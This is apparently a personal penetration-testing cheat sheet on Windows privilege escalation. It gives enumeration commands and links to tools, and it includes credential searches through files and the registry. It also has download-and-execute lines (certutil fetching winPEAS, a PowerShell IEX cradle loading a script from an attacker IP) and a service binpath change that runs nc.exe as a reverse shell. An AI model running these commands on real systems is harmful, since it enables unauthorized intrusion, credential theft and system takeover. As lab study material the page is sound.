# Windows Priv Esc

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/download/20221023/winPEASx64_ofs.exe>" %}

{% embed url="<https://www.roguesecurity.in/2018/12/02/a-guide-for-windows-penetration-testing/>" %}

When serving files to be downloaded on win machines do python3 -m http.server 80 as it doesn't work on 9000

&#x20;on the Win machine do:

&#x20;**certutil.exe -urlcache -f** [**http://atackingIP/winpeas.exe**](http://atackingip/winpeas.exe) **winpeas.exe**

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/download/20220214/winPEASx64.exe>" %}

Search for programs path that are unquoted. That means that we can tamper and include a malicious exe in that path to the file and it will be automatically executed if that file is on auto schedule.

**systeminfo**

* To gather various information about the system

&#x20;Run the Sherlock Powershell script to search for priv esc opportunities

&#x20;Execute Sherlock script on the affected system by running the following Powershell cmd…

**IEX(New-Object Net.Webclient).downloadString('<http://10.10.14.2:8000/Sherlock.ps1>')**

&#x20;

IEX - Invoke expression

8000 - because we are hosting it on our system with python -m SimpleHTTPServer

10.10.14.2 - this is our attacking system's IP in this case

&#x20;

* pass the hash

Enumerate Powershell version

**$PSVersionTable.PSVersion**

{% embed url="<http://www.fuzzysecurity.com/tutorials/16.html>" %}

**How to view hidden files I n windows**

attrib

**Windows Exploit Suggester (python script)**&#x20;

./windows-exploit-suggester.py --update

* first update the database

&#x20;**./windows-exploit-suggester.py --database \<name of database file (from the above command)> -- systeminfo \<path to systeminfo text file>**

{% embed url="<https://www.noobsec.net/privesc-windows/>" %}

{% embed url="<https://www.youtube.com/watch?v=SBnlg-jiuiA&t=1544s&ab_channel=ActiveXSploit>" %}

{% embed url="<https://github.com/Vedant-Bhalgama/Access-Token-Manipulation-POC>" %}

Check for missing patches on the system

**wmic qfe get Caption,Description,HotFixID,InstalledOn**

&#x20;

* use the above command to find the most recently installed patches and hotfixes and compare them to a list of  patches that have potential exploits available for them that relate to privilege escalation
* * you check exploit-db for this (on Kali)

**run PowerUp (Will Schroeder)**

checks many things including:

* hijackable DLLs
* unattended install files
* modifiable services
* unquoted service paths
* AlwaysInstallElevated
* and more

**Look for creds on the system**

Browser Creds (Metasploit)

enum\_ie

enum\_chrome

etc.

&#x20;

**Putty, WinSCP, RDP creds**

SessionGopher (FireEye)

&#x20;

**run Hot Potato (foxglovesec)**

NBNS spoof, fake WPAD proxy, HTTP>NTLM Relay

&#x20;\-----------------------------------------------------------------------------------------------------

**// What system are we connected to?**

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

&#x20;

**// Get the hostname and username (if available)**

hostname

echo %username%

&#x20;

**// Get users**

net users

net user \[username]

&#x20;

**// Networking stuff**

ipconfig /all

&#x20;

**// Printer?**

route print

&#x20;

**// ARP-arific**

arp -A

&#x20;

**// Active network connections**

netstat -ano

&#x20;

**// Firewall fun (Win XP SP2+ only)**

netsh firewall show state

netsh firewall show config

&#x20;

**// Scheduled tasks**

schtasks /query /fo LIST /v

&#x20;

**// Running processes to started services**

tasklist /SVC

net start

&#x20;

**// Driver madness**

DRIVERQUERY

&#x20;

**// WMIC fun (Win 7/8 -- XP requires admin)**

wmic /?

\# Use wmic\_info script!

&#x20;

**// WMIC: check patch level**

wmic qfe get Caption,Description,HotFixID,InstalledOn

&#x20;

**// Search pathces for given patch**

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

&#x20;

**// AlwaysInstallElevated fun**

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

&#x20;

**// Other commands to run to hopefully get what we need**

dir /s \*pass\* == \*cred\* == \*vnc\* == \*.config\*

findstr /si password \*.xml \*.ini \*.txt

reg query HKLM /f password /t REG\_SZ /s

reg query HKCU /f password /t REG\_SZ /s

&#x20;

**// Service permissions**

sc query

sc qc \[service\_name]

&#x20;

**// Accesschk stuff**

accesschk.exe /accepteula (always do this first!!!!!) \*\*\*From my experience I must include this is every command

accesschk.exe -ucqv \[service\_name] (requires sysinternals accesschk!)

accesschk.exe -uwcqv "Authenticated Users" \* (won't yield anything on Win 8)

accesschk.exe -ucqv \[service\_name]

accesschk.exe -ucqv \* (everything)

&#x20;

**// Find all weak folder permissions per drive.**

accesschk.exe -uwdqs Users c:\\

accesschk.exe -uwdqs "Authenticated Users" c:\\

&#x20;

**// Find all weak file permissions per drive.**

accesschk.exe -uwqs Users c:\\\*.\*

accesschk.exe -uwqs "Authenticated Users" c:\\\*.\*

&#x20;

**// Binary planting**

sc config \[service\_name] binpath= "C:\nc.exe -nv \[RHOST] \[RPORT] -e C:\WINDOWS\System32\cmd.exe"

sc config \[service\_name] obj= ".\LocalSystem" password= ""

sc qc \[service\_name] (to verify!)

net start \[service\_name]

{% embed url="<https://www.youtube.com/watch?v=DlJyKgfkoKQ>" %}

{% embed url="<https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>" %}
